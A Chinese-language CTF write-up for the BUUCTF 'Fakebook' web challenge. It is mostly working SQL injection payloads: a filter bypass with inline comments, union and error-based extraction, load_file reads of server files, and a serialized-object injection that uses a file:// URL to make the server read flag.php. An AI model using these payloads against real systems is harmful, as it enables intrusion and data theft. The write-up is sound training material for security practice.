BUUCTF_WEB_Fakebook1 题解

Fakebook1

1.点击登陆界面join,申请一个用户:
admin,123,18,bai.com

2.登录网站后,点击admin,发现网址有注入点:

http://1886ff85-240c-42c7-84f0-3fa2575c0bb9.node4.buuoj.cn:81/view.php?no=1

no,应该是记录的编号,我们可以通过no进行注入

注册一个账户之后自动生成记录的编号,所以编号为自动递增型为int

3.随便注入no=1’,网页响应有sql报错,所以该网页存在sql语句注入

4.猜测该网页使用了select * from where no =

所以我们可以用1 union select 1,2,3;#

但是返回了no hacker,所以可能过滤了select

所以可以用

– 内联注释绕过
/*!select */1,2,3,4;

5.爆字段:1 order by 4;#

当order by 5#时报错,所以最大字段数为4

6.使用-1 union/*!select */1,2,3,4;

只有username返回值为2,所以只有第二个字段能够成功返回值

使用-1是为了使响应网址只返回我们select的内容

7.爆数据库:-1 union/*!select */1,database(),3,4;

-1 union/*!select */1,group_concat(database()),3,4;//爆出所有数据库

uername爆出数据库为fakebook

只有一个数据库

8.爆表

-1 union/*!select */1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema

= DATABASE();//database()可以直接显示当前数据库,一般是只有一个数据库才可以用,否则就要指定数据库

username字段显示users表

9.爆字段

-1 union/*!select */1,group_concat(column_name),3,4 from information_schema.COLUMNS where table_schema = ‘fakebook’ and table_name = ‘users’;

username字段显示no,username,passwd,data字段

data字段是之前没有看到过的,所以现在要查看字段的值

10.爆字段的值

-1 union/*!select */1,group_concat(data),3,4 from users

username:爆出字段值:O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:13;s:4:”blog”;s:7:”bai.com”;}

这是一个序列化语句:表示有一个UserInfo类,这个类有参数name,age,blog

没有获得有用的信息,所以查看其他几个字段的内容

11.爆其他字段:

-1 union/*!select */1,group_concat(no,username,passwd),3,4 from users

username爆出字段的值:1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2

发现除了no和username字段其他为密文,进行解密:

3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2

发现解密失败,所以可能不是密文

12.查看网页的robots.txt文件,查看网页还允许我们查看的文件有哪些:

http://f848876c-8f1f-4fec-bdf5-2a6496754020.node4.buuoj.cn:81/robots.txt

获得一个user.php.bak文件,将它下载:

13.分析user.php.bak中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

//UserInfo类
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
//有参申请类
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{//curl_init()函数用于初始化一个新的会话,可以用于获取网页地址、设置网页头信息等
$ch = curl_init();
//curl_setopt — 设置一个cURL传输选项
//CURLOPT_URL: 这是你想用PHP取回的URL地址。你也可以在用curl_init()函数初始化时设置这个选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}
//blog内容的处理
public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

该代码展示了一个UserInFo的类的具体内容和参数,以便之后的序列化处理

14.由网页显示的内容得:

the contents of his/her blog

下面一块不可见区域为,我们输入的blog(博客)的内容,所以猜测如果我们输入的博客内容为flag.php,则会显示该文件的内容,但是我们要知道网站flag.php的具体文件路径

网页中源代码的描述这块内容:
src = ‘data:text/html;base64,PCF………’

所以data的类型是text文本型

所以网页的源地址传输为data,猜测可能利用的是第四个字段data中的内容:

O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:13;s:4:”blog”;s:7:”bai.com”;}

data字段中的内容是经过序列化处理的结果

15.利用报错注入获取flag.php的文件路径:

or(updatexml(1,concat(‘‘,(SELECT(load_file(“flag.php”)),’‘),1))#

or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))#

通过筛选,发现网站过滤了’x’

所以用字符’‘:or(updatexml(1,concat(‘‘,(SELECT(load_file(“flag.php”)),’~’),1))#

返回报错内容:

[*] query error! (Incorrect parameter count in the call to native function ‘updatexml’)

Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

所以我们猜测flag.php的地址为/var/www/html/flag.php

其实,随便输入一个错误的参数都会报错显示地址/var/www/html/db.php,所以一定要注意任何报错信息

16.所以blog=/var/www/html/flag.php

所以要爆出该文件的内容:select load_file(“文件路径”);可以获取该文件的内容

-1 union/*!select */1,load_file(“/var/www/html/flag.php”),3,4

username没有返回内容,但是页面产生了响应,说明username所显示的内容,不符合该字段所能显示的内容的格式,可以通过查看网页源代码,查看本来应该在该字段中显示的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    <table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php

$flag = "flag{ab61868d-16df-4976-93c7-8980c7fbc7be}";
exit(0);
</td>
<td>
<br />
<b>Notice</b>: Trying to get property of non-object in <b>/var/www/html/view.php</b> on line <b>53</b><br />
</td>
<td>
<br />
<b>Notice</b>: Trying to get property of non-object in <b>/var/www/html/view.php</b> on line <b>56</b><br />
</td>
</tr>
</table>

所以flag为:

flag{ab61868d-16df-4976-93c7-8980c7fbc7be}

16.如果网站过滤了load_file(“路径”):

第四个字段data所显示的位置为:the contents of his/her blog

该字段为将存储于数据库中的如O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:13;s:4:”blog”;s:7:”bai.com”;} 的内容取出,然后根据该data中blog的地址,访问出blog的内容,所以我们可以让它显示/var/www/html/flag.php的内容

假设它网页是对这个序列化的内容base-64加密然后访问,则我们也只需要让它访问序列化的data:

O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:13;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}

payload:

-1 union/*!select */1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:13;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’:

the contents of his/her blog,没有显示内容,可能依然为非该字段的格式内容,所以查看网页源代码:

1
2
3
4
5
6
<hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3sxOTUxNDdkZi1iN2NhLTQ1NjAtYmVjYi1kOTg1OTI4NTBmYzh9IjsNCmV4aXQoMCk7DQo='>
</div>

这个区域显示的内容为src所指向区域,所以点击src所指向的区域:

1
2
3
4
<?php

$flag = "flag{195147df-b7ca-4560-becb-d98592850fc8}";
exit(0);

得到flag.php的内容


BUUCTF_WEB_Fakebook1 题解
http://example.com/2023/08/21/2023-08-20-Fakebook1/
作者
South
发布于
2023年8月21日
许可协议